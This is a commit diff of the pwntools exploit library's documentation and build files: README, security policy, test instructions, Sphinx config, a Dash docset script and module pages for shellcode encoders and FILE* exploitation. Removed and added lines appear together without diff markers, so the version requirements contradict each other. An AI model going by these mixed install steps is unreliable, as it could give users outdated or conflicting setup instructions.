Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
pwntools is best supported on 64-bit Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python 2.7 is required.
Pwntools supports Python 3.10+ since version 5.0.0. Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev
pip install --upgrade pwntools
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
@@ -51,5 +49,8 @@ However, some of the features (assembling/disassembling foreign architectures) r
See [CONTRIBUTING.md](CONTRIBUTING.md)
# Contact and Community
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB
# Contact
If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to ping us
at [`#pwntools` on Freenode](irc://irc.freenode.net/pwntools) and ask away.
Click [here](https://kiwiirc.com/client/irc.freenode.net/pwntools) to connect.
There is also a [mailing list](https://groups.google.com/forum/#!forum/pwntools-users) for higher latency discussion.
-32
View File
@@ -1,32 +0,0 @@
# Security Policy
## Supported Versions
| Version | Supported |
| ------------- | ------------------ |
| latest dev | :white_check_mark: |
| latest beta | :white_check_mark: |
| latest stable | :white_check_mark: |
| anything else | :x: |
## Reporting a Vulnerability
The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
The first question to ask yourself is: is this an actual vulnerability?
- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
- does it impact the attacker (=re-victim)?
- is it serious?
* *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
* *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
* *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
* if crucial for some sophisticated exploit chain, it is always serious
* `safe_eval` bypasses **are** serious.
* an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
- can it be fixed without compromising on Pwntools' usability?
If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
Just e-mail the maintainers. Arusekk is the one that is currently the most excited to fix vulnerabilities.
Or create a CTF task! Prove a point the good old hacker way!
+2 -14
View File
@@ -4,28 +4,16 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
## Test Suite
To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
```sh
bash travis/install.sh
bash travis/ssh_setup.sh
pip install --upgrade --editable .
pip install --upgrade -r docs/requirements.txt
PWNLIB_NOTERM=1 make -C docs doctest
```
You can run doctests for a single file for faster iteration:
```sh
PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
```
## Testing in Docker
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble. It is very similar to the online Github Actions CI testing environment.
See `travis/docker/README.md` for more information.
## New Tests
To add a new test to an existing module, just add an inline doctest. If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.
+4 -3
View File
@@ -6,6 +6,7 @@ SPHINXOPTS =
SPHINXBUILD = sphinx-build
PAPER =
BUILDDIR = build
DASHBUILD = ./dashbuild.py
TAR = tar
# Internal variables.
@@ -44,7 +45,7 @@ help:
clean:
-rm -rf $(BUILDDIR)/*
-rm -rf /tmp/user/pwn*
-rm -rf $(HOME)/.cache/.pwntools-cache
-rm -rf $(HOME)/.pwntools-cache
-rm -rf /tmp/pwn* 2>/dev/null || true
-rm -rf build
@@ -144,8 +145,8 @@ gettext:
@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
dash:
$(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html
doc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html
$(DASHBUILD) source $(BUILDDIR)/dash
$(TAR) --exclude='.DS_Store' -cvzf $(BUILDDIR)/dash/pwntools.tgz -C $(BUILDDIR)/dash pwntools.docset
@echo "Build finished. The Dash docset is in $(BUILDDIR)/dash."
changes:
+99
View File
@@ -0,0 +1,99 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Helper to build Dash docset from sphinx source files.
#
# Dash docsets can be read by various applications:
#
# Dash OS X, iOS https://kapeli.com
# Zeal Linux, Windows https://zealdocs.org
# Velocity Windows http://velocity.silverlakesoftware.com
# LovelyDocs Android http://lovelydocs.io
# dasht POSIX https://github.com/sunaku/dasht
# Helm Dash emacs https://github.com/areina/helm-dash
#
import argparse
import doc2dash.__main__
import os, os.path
import sphinx
import sqlite3
import sys
sys.path.append(os.path.abspath(os.path.join('..', 'pwnlib')))
import version
def main(args):
"""Generate a Dash docset from Sphinx source files."""
srcdir = args.srcdir
dstdir = args.dstdir
name = args.name
if not os.path.exists(dstdir):
os.makedirs(dstdir)
# Generate HTML without indices.
sphinx.build_main([ "sphinx-build", "-b", "html", "-d", os.path.join(dstdir, "doctrees"), \
"-t", "dash", srcdir, os.path.join(dstdir, "html") ])
# Convert to docset.
try:
doc2dash.__main__.main.main( \
[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
"-f", "-I", "index.html"], "doc2dash", False)
except SystemExit,e:
pass
# Insert a link to the online version.
online = args.online
if online is not None and online != "":
url = online.replace("@VERSION", args.version)
with open(os.path.join(dstdir, name+".docset", "Contents", "Info.plist"), "r+") as f_info:
pl = f_info.read()
pl = pl.replace("</dict>", \
"\t<key>DashDocSetFallbackURL</key>\n\t<string>%s</string>\n</dict>" % url)
f_info.seek(0)
f_info.write(pl)
f_info.truncate()
# Modify the CSS to hide the menu included in the HTML.
with open(os.path.join(dstdir, name+".docset", "Contents", "Resources", "Documents", "_static", "css", "theme.css"), "r+") as f_css:
css = f_css.read()
css = css.replace( \
'@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}',\
'@media screen {.wy-body-for-nav{background:#fcfcfc}' )
css = css.replace( \
'@media screen and (max-width: 480px)', \
'@media screen ')
f_css.seek(0)
f_css.write(css)
f_css.truncate()
# Modify the index
db_conn = sqlite3.connect(os.path.join(dstdir, name+".docset", "Contents", "Resources", "docSet.dsidx"))
try:
db_conn.execute('INSERT INTO "searchIndex" ("name","type","path") VALUES ' \
'("1 Contents", "Guide", "index.html"), ' \
'("2 About pwntools", "Guide", "about.html"), ' \
'("3 Installation", "Guide", "install.html"), ' \
'("4 Getting Started", "Guide", "intro.html"), ' \
'("5 Globals (pwn)", "Guide", "globals.html"), ' \
'("6 Command Line Tools", "Guide", "commandline.html")')
db_conn.execute('DELETE FROM "searchIndex" WHERE "type" = "Module" AND ("name" = "pwn" OR "name" = "pwnlib")')
db_conn.commit()
finally:
db_conn.close()
return 0
parser = argparse.ArgumentParser()
parser.add_argument("--name", help="docset name", default="pwntools")
parser.add_argument("--online", help="URL for online docs", default="https://pwntools.readthedocs.org/en/@VERSION/")
parser.add_argument("--version", help="pwntools version", default=version.__version__)
parser.add_argument("srcdir", help="Source directory containing .rst files")
parser.add_argument("dstdir", help="Destination and working directory")
main(parser.parse_args())
+12 -15
View File
@@ -1,19 +1,16 @@
capstone
coverage[toml]
doc2dash
docutils>=0.18
intervaltree
sphinxcontrib-napoleon
sphinxcontrib-autoprogram==0.1.2
isort
mako>=1.0.0
paramiko>=1.15.2
pyelftools>=0.32
pygments>=2.0
pypandoc
pyserial>=2.7
pysocks
psutil
requests>=2.5.1
mako>=1.0.0
pyelftools>=0.2.3
capstone
ropgadget>=5.3
sphinx>=8.1.3, <9
pyserial>=2.7
requests>=2.5.1
pip>=6.0.8
tox>=1.8.1
pygments>=2.0
sphinx_rtd_theme
sphinxcontrib-autoprogram<=0.1.5
doc2dash
coveralls
+1 -1
View File
@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
importing :mod:`pwnlib` or any of the submodules should have any significant
side-effects (besides e.g. caching).
For the most part, you will also only get the bits you import. You for instance would
For the most part, you will also only get the bits you import. You for instance
not get access to :mod:`pwnlib.util.packing` simply by doing ``import
pwnlib.util``.
-4
View File
@@ -1,12 +1,8 @@
.. testsetup:: *
from pprint import pprint
from pwn import *
adb = pwnlib.adb
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.adb` --- Android Debug Bridge
=====================================================
+4 -14
View File
@@ -2,24 +2,14 @@
import tempfile
import subprocess
from pwn import *
from pwnlib.context import context
from pwnlib.asm import *
from pwnlib import shellcraft
from pwnlib.tubes.process import process
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.asm` --- Assembler functions
=========================================
.. automodule:: pwnlib.asm
:members:
Internal Functions
-----------------------------------------
These are only included so that their tests are run.
You should never need these.
.. autofunction:: pwnlib.asm.dpkg_search_for_binutils
.. autofunction:: pwnlib.asm.print_binutils_instructions
-4
View File
@@ -1,7 +1,3 @@
.. testsetup:: *
from pwnlib import atexception
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
==============================================================
+1 -8
View File
@@ -5,21 +5,14 @@
.. testcleanup:: *
context.defaults.clear()
context.defaults.update(old)
context.defaults.copy = old
Command Line Tools
========================
pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.
.. toctree::
.. autoprogram:: pwnlib.commandline.main:parser
:prog: pwn
.. only:: doctest
.. automodule:: pwnlib.commandline.errno
+27 -178
View File
@@ -1,3 +1,5 @@
# -*- coding: utf-8 -*-
#
# pwntools documentation build configuration file, created by
# sphinx-quickstart on Wed May 28 15:00:52 2014.
#
@@ -10,11 +12,8 @@
# serve to show the default.
import os
import doctest
import signal
import subprocess
import sys
from datetime import datetime, timezone
build_dash = tags.has('dash')
@@ -23,8 +22,9 @@ build_dash = tags.has('dash')
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath('../..'))
import pwnlib.update
pwnlib.update.disabled = True
import pwnlib
# -- General configuration -----------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
@@ -40,44 +40,18 @@ extensions = [
'sphinx.ext.coverage',
'sphinx.ext.todo',
'sphinx.ext.intersphinx',
'sphinx.ext.napoleon',
'sphinxcontrib.autoprogram',
'sphinxcontrib.napoleon'
]
# Disable "info" logging directly to stdout by Sphinx
import logging
class SphinxPwnlibFilter(logging.Filter):
def filter(self, record):
if record.name.startswith('pwn'):
return False
if record.name.startswith('paramiko'):
return False
return True
log_filter = SphinxPwnlibFilter()
for i, handler in enumerate(logging.root.handlers):
print("Filtering Sphinx handler", handler)
handler.addFilter(log_filter)
# Napoleon settings
napoleon_use_ivar = True
napoleon_use_rtype = False
doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import pwnlib.update
import pwnlib.util.fiddling
import logging
pwnlib.update.disabled = True
import pwnlib
pwnlib.context.context.reset_local()
pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
pwnlib.context.ContextType.defaults['randomize'] = False
# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']
pwnlib.util.fiddling.default_style = {}
pwnlib.term.text.when = 'never'
pwnlib.log.install_default_handler()
pwnlib.log.rootlogger.setLevel(1)
@@ -85,26 +59,20 @@ pwnlib.log.rootlogger.setLevel(1)
# Sphinx modifies sys.stdout, and context.log_terminal has
# a reference to the original instance. We need to update
# it for logging to be captured.
class stdout:
class stdout(object):
def __getattr__(self, name):
return getattr(sys.stdout, name)
def __setattr__(self, name, value):
return setattr(sys.stdout, name, value)
pwnlib.context.ContextType.defaults['log_console'] = stdout()
github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
local_doctest = os.environ.get('USER') == 'pwntools'
skip_android = True
'''
autoclass_content = 'both'
autodoc_member_order = 'groupwise' # 'alphabetical'
autodoc_member_order = 'alphabetical'
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
doctest_test_doctest_blocks = 'default'
doctest_test_doctest_blocks = True
# The suffix of source filenames.
source_suffix = '.rst'
@@ -117,7 +85,7 @@ master_doc = 'index'
# General information about the project.
project = u'pwntools'
copyright = u'2016-2026, Gallopsled et al.'
copyright = u'2016, Gallopsled et al.'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
@@ -166,7 +134,7 @@ pygments_style = 'sphinx'
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'sphinx_rtd_theme'
html_theme = 'default'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
@@ -259,11 +227,11 @@ latex_elements = {
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
('index', 'pwntools.tex', u'pwntools Documentation',
u'2016-2026, Gallopsled et al.', 'manual'),
u'2016, Gallopsled et al.', 'manual'),
]
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
'paramiko': ('https://paramiko-docs.readthedocs.org/en/1.15/', None)}
# The name of an image file (relative to this directory) to place at the top of
# the title page.
@@ -292,7 +260,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'pwntools', u'pwntools Documentation',
[u'2016-2026, Gallopsled et al.'], 1)
[u'2016, Gallopsled et al.'], 1)
]
# If true, show URL addresses after external links.
@@ -322,13 +290,13 @@ texinfo_documents = [
branch = release
try:
git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
git_branch = subprocess.check_output('git describe --tags', shell = True)
except subprocess.CalledProcessError:
git_branch = '-'
try:
if '-' in git_branch:
branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
except subprocess.CalledProcessError:
pass
@@ -345,7 +313,7 @@ def linkcode_resolve(domain, info):
val = mod
for k in info['fullname'].split('.'):
val = getattr(val, k, None)
if val is None:
if val == None:
break
# Special case for shellcraft
@@ -356,14 +324,11 @@ def linkcode_resolve(domain, info):
else:
filename = info['module'].replace('.', '/') + '.py'
if isinstance(val, property):
val = val.fget
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
try:
lines, first = inspect.getsourcelines(val)
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
except (IOError, TypeError):
filename += '#L%d-%d' % (first, first + len(lines) - 1)
except IOError:
pass
return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -377,124 +342,8 @@ if build_dash:
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd: # only import and set the theme if we're building docs locally
import alabaster
html_theme = 'alabaster'
html_theme_path = [alabaster.get_path()]
html_theme_options = { 'nosidebar' : True }
import sphinx_rtd_theme
html_theme = 'sphinx_rtd_theme'
html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# -- Customization to Sphinx autodoc generation --------------------------------------------
# Test hidden members (e.g. def _foo(...))
def dont_skip_any_doctests(app, what, name, obj, skip, options):
return None
autodoc_default_options = {'special-members': None, 'private-members': None}
# doctest optionflags for platform-specific tests
# they are skipped on other platforms
WINDOWS = doctest.register_optionflag('WINDOWS')
LINUX = doctest.register_optionflag('LINUX')
POSIX = doctest.register_optionflag('POSIX')
# doctest optionflag for tests that haven't been looked at yet
TODO = doctest.register_optionflag('TODO')
import sphinx.ext.doctest
class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
def run(self, test, compileflags=None, out=None, clear_globs=True):
original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
def filter_platform(example):
optionflags = original_optionflags
if example.options:
for (optionflag, val) in example.options.items():
if val:
optionflags |= optionflag
else:
optionflags &= ~optionflag
if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
return False
if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
return False
if (optionflags & POSIX) == POSIX and os.name != 'posix':
return False
return True
test.examples[:] = [example for example in test.examples if filter_platform(example)]
return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
def __init__(self, *args, **kwargs):
super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
self._test_runner = None
self._doctree_had_tests = False
@property
def test_runner(self):
return self._test_runner
@test_runner.setter
def test_runner(self, value):
self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
def test_doc(self, docname, doctree):
start = datetime.now(timezone.utc).astimezone()
# self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
self._doctree_had_tests = False
try:
return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
finally:
# Only print the timestamp if there were actually tests run.
if self._doctree_had_tests:
end = datetime.now(timezone.utc).astimezone()
duration = (end - start).total_seconds()
self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
self._doctree_had_tests = False
def test_group(self, group):
# Only called when there are tests to run in the current document.
self._doctree_had_tests = True
return super(PlatformDocTestBuilder, self).test_group(group)
if 'doctest' in sys.argv:
def setup(app):
app.add_builder(PlatformDocTestBuilder, override=True)
# app.connect('autodoc-skip-member', dont_skip_any_doctests)
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
class EndlessLoop(Exception): pass
if hasattr(signal, 'alarm'):
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
else:
def sigabrt_handler(signum, frame):
raise EndlessLoop()
# thread.interrupt_main received the signum parameter in Python 3.10
if sys.version_info >= (3, 10):
signal.signal(signal.SIGABRT, sigabrt_handler)
def alrm_handler():
try:
import thread
except ImportError:
import _thread as thread
# pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
# it might not show a traceback in that case, but it will stop the endless loop.
thread.interrupt_main(signal.SIGABRT)
timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
timer.daemon = True
timer.start()
import threading
timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
timer.daemon = True
timer.start()
# otherwise, readthedocs.org uses their theme by default, so no need to specify it
-4
View File
@@ -1,4 +0,0 @@
:mod:`pwnlib.config` --- Pwntools Configuration File
====================================================
.. automodule:: pwnlib.config
+4 -22
View File
@@ -3,31 +3,13 @@
from pwn import *
import logging
log = pwnlib.log.getLogger('pwnlib.context')
context.clear()
:mod:`pwnlib.context` --- Setting runtime variables
=====================================================
Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.
.. autodata:: pwnlib.context.context
In general, exploits will start with something like:
.. autoclass:: pwnlib.context.ContextType
:members:
.. code-block:: python
from pwn import *
context.arch = 'amd64'
Which sets up everything in the exploit for exploiting a 64-bit Intel binary.
The recommended method is to use ``context.binary`` to automagically set all of the appropriate values.
.. code-block:: python
from pwn import *
context.binary = './challenge-binary'
Module Members
----------------------------------------------------
.. automodule:: pwnlib.context
:members:
.. autoclass:: pwnlib.context.Thread
+3 -11
View File
@@ -3,16 +3,8 @@
from pwnlib.elf import *
from pwnlib.util.misc import which
:mod:`pwnlib.elf` --- ELF Executables and Libraries
===================================================
:mod:`pwnlib.elf` --- Working with ELF binaries
===============================================
.. automodule:: pwnlib.elf
ELF Modules
-------------------
.. toctree::
elf/elf
elf/config
elf/corefile
:members:
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwn import *
from pwnlib.elf.config import parse_kconfig
:mod:`pwnlib.elf.config` --- Kernel Config Parsing
===========================================================
.. automodule:: pwnlib.elf.config
:members:
-35
View File
@@ -1,35 +0,0 @@
.. testsetup:: *
from glob import glob
from pwn import *
# The Linux kernel won't overwrite an existing corefile, so in case
# some other part of the doctests caused a segfault and core dump,
# we need to get rid of it before our tests run.
#
# We DONT need to worry about e.g. ./core existing when using Corefile()
# because we always move and rename the corefile to prevent this situation.
if os.path.exists('core'):
os.unlink('core')
# bash-static is a statically linked version of bash, but if $SHELL is not
# set to anything, it decides to up and load ld.so and libc.so which breaks
# our example of showing `corefile.libc == None` for a statically linked bin.
# Set the environment here so it's not in the middle of our tests.
os.environ.setdefault('SHELL', '/bin/sh')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.corefile` --- Core Files
===========================================================
.. automodule:: pwnlib.elf.corefile
.. autoclass:: pwnlib.elf.corefile.Corefile
:members:
:show-inheritance:
.. autoclass:: pwnlib.elf.corefile.Mapping
:members:
-34
View File
@@ -1,34 +0,0 @@
.. testsetup:: *
from pwn import *
from glob import glob
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
import shutil
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.elf` --- ELF Files
===========================================================
.. automodule:: pwnlib.elf.elf
.. autoclass:: pwnlib.elf.elf.ELF
:members:
:show-inheritance:
:inherited-members:
:exclude-members: address_offsets,
get_data,
get_dwarf_info,
get_section,
get_segment,
has_dwarf_info,
iter_sections,
iter_segments
.. autoclass:: pwnlib.elf.elf.Function
:members:
.. autoclass:: pwnlib.elf.elf.dotdict
:members:
+11 -19
View File
@@ -2,32 +2,24 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
.. automodule:: pwnlib.encoders
:members:
.. automodule:: pwnlib.encoders.encoder
:members:
.. automodule:: pwnlib.encoders.i386.ascii_shellcode
.. automodule:: pwnlib.encoders.amd64
:members:
.. automodule:: pwnlib.encoders.arm
:members:
.. automodule:: pwnlib.encoders.i386
:members:
:special-members:
:exclude-members: __init__
.. automodule:: pwnlib.encoders.i386.xor
:members:
.. automodule:: pwnlib.encoders.i386.delta
:members:
.. automodule:: pwnlib.encoders.amd64.delta
:members:
.. automodule:: pwnlib.encoders.arm.xor
:members:
.. automodule:: pwnlib.encoders.mips.xor
:members:
-10
View File
@@ -1,10 +0,0 @@
.. testsetup:: *
from pwnlib.filepointer import *
from pwnlib.filepointer import _update_var
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================
.. automodule:: pwnlib.filepointer
:members:
-20
View File
@@ -1,20 +0,0 @@
.. testsetup:: *
import time
from pwnlib.context import context
from pwnlib.tubes.ssh import ssh
from pwnlib.filesystem import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
====================================================================
Provides a Python2-compatible :py:mod:`pathlib` interface for paths
on the local filesystem (`.Path`) as well as on remote filesystems,
via SSH (`.SSHPath`).
.. automodule:: pwnlib.filesystem
:members:
-10
View File
@@ -1,13 +1,3 @@
.. testsetup:: *
from pwn import *
context.arch = 'amd64'
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
# TODO: Test on cygwin too
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.gdb` --- Working with GDB
======================================
+6 -6
View File
@@ -13,11 +13,11 @@ Which imports a bazillion things into the global namespace to make your life eas
This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
- :mod:`pwnlib.context`
- ``context``
- :data:`pwnlib.context.context`
- Responsible for most of the pwntools convenience settings
- Set `context.log_level = 'debug'` when troubleshooting your exploit
- Scope-aware, so you can disable logging for a subsection of code via :meth:`.ContextType.local`
- Scope-aware, so you can disable logging for a subsection of code via ``pwnlib.context.ContextType.local``
- ``remote``, ``listen``, ``ssh``, ``process``
- :mod:`pwnlib.tubes`
- Super convenient wrappers around all of the common functionality for CTF challenges
@@ -57,11 +57,11 @@ This is a quick list of most of the objects and routines imported, in rough orde
- ``gdb.debug`` and ``gdb.attach``
- :mod:`pwnlib.gdb`
- Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster.
- Alternately, attach to a running process given a PID, :mod:`pwnlib.tubes` object, or even just a socket that's connected to it
- Alternately, attach to a running process given a PID, ``pwnlib.tubes`` object, or even just a socket that's connected to it
- ``args``
- Dictionary containing all-caps command-line arguments for quick access
- Dictionary contining all-caps command-line arguments for quick access
- Run via ``python foo.py REMOTE=1`` and ``args['REMOTE'] == '1'``.
- Can also control logging verbosity and terminal fanciness
- Can also control logging verbosity and terminal fancyness
- `NOTERM`
- `SILENT`
- `DEBUG`
@@ -78,7 +78,7 @@ This is a quick list of most of the objects and routines imported, in rough orde
- It's the new ``getch``
- ``safeeval``
- :mod:`pwnlib.util.safeeval`
- Functions for safely evaluating python code without nasty side-effects.
- Functions for safely evalutaing python code without nasty side-effects.
These are all pretty self explanatory, but are useful to have in the global namespace.
+4 -19
View File
@@ -13,7 +13,7 @@ readthedocs_. It comes in three primary flavors:
- Dev_
.. _readthedocs: https://readthedocs.org
.. _docs.pwntools.com: https://docs.pwntools.com/en/latest
.. _docs.pwntools.com: https://docs.pwntools.com
.. _Stable: https://docs.pwntools.com/en/stable
.. _Beta: https://docs.pwntools.com/en/beta
.. _Dev: https://docs.pwntools.com/en/dev
@@ -48,36 +48,30 @@ Each of the ``pwntools`` modules is documented here.
atexception
atexit
constants
config
context
dynelf
encoders
elf
exception
filepointer
filesystem
flag
fmtstr
gdb
libc
libcdb
log
memleak
protocols
qemu
regsort
replacements
rop
rop/*
runner
shellcraft
shellcraft/*
term
timeout
tubes
tubes/*
ui
update
useragents
util/*
windbg
.. toctree::
:hidden:
@@ -92,12 +86,3 @@ Each of the ``pwntools`` modules is documented here.
* :ref:`genindex`
* :ref:`modindex`
* :ref:`search`
Bytes
-----
The bytes vs text distinction is so important that it even made it to this main page.
See the pwntools-tutorial_ repo for the latest tutorial finally
explaining the difference once and for all (hopefully).
.. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md
+6 -49
View File
@@ -1,7 +1,9 @@
Installation
============
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
pwntools is best supported on Ubuntu 12.04 and 14.04, but most
functionality should work on any Posix-like distribution (Debian, Arch,
FreeBSD, OSX, etc.).
Prerequisites
-------------
@@ -15,60 +17,15 @@ following system libraries installed.
install/*
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
.. code-block:: bash
brew install pwntools
Released Version
-----------------
pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
Python3
^^^^^^^
The Python version required for installing Pwntools is kept as low as possible on a best-effort basis. However, new features target Python3.10 and later.
pwntools is available as a ``pip`` package.
.. code-block:: bash
$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Python2 (Deprecated)
^^^^^^^^^^^^^^^^^^^^
Python2 support has been removed in Pwntools v5.0.0. The last version to support Python2 was v4.15.0.
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
.. code-block:: bash
$ sudo apt-get update
$ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
Command-Line Tools
------------------
When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.
However, if you run as an unprivileged user, you may see a warning message that looks like this::
WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm,
elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template,
unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.
Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.
$ apt-get install python2.7 python2.7-dev python-pip
$ pip install --upgrade pwntools
Development
--------------
+12 -27
View File
